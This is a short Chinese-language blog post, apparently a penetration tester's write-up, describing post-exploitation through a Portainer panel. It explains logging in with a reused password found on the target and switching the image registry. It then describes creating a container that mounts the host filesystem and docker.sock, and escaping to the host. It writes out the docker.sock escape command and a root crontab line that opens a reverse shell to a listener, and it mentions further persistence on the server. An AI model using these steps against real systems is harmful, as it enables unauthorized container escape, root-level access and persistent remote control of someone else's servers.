Portainer后渗透
前言
在一个平平安安的下午,拿到个普普通通的命令执行反弹来
shell
看到有
.dockerenv
文件,就知道要开始逃逸了个人习惯首先找
docker.sock
文件
找到后开始常规的
docker.sock挂载逃逸
docker -H unix:///run/docker.sock run -v /:/test -it ubuntu:latest /bin/bash
拉取镜像报错,应该是docker官方镜像仓库被墙的原因,报错如下
Get "https://registry-1.docker.io/v2/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
个人想到的解决方法是更换没有被墙的镜像仓库然后再挂载进行逃逸
但是宿主机无法进行操作没办法进行更换镜像仓
再或者手动上传docker镜像文件
然后就来到这次的主题了
Portainer 的后渗透
在前期的信息收集找了该目标的
祖传密码
登陆到了Portainer面板
更换镜像源
根据之前的思路首先更换镜像仓库源
Name
就随便写Registry URL
就在网上找的镜像源
新建容器
下拉切换新建的镜像源
拉去配置容器
配置控制台
配置挂载文件,这个很重要
配置
宿主机
的目录,配置docker.sock
找到新建的容器
检查下挂载
进入容器进行操作
逃逸
既然能操作宿主机那么接下来的思路就是:找web路径写webshell、写ssh私钥、定时任务反弹shell
没
.ssh
和web路径
直接写定时任
echo '* * * * * bash -i >& /dev/tcp/ip/4000 0>&1' >> /test/var/spool/cron/root
在服务器进行监听等待
结束
逃逸结束后就可以对服务器进行维权等操作
这个可能不是唯一的思路,我只想到了这个思路
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 putdown.top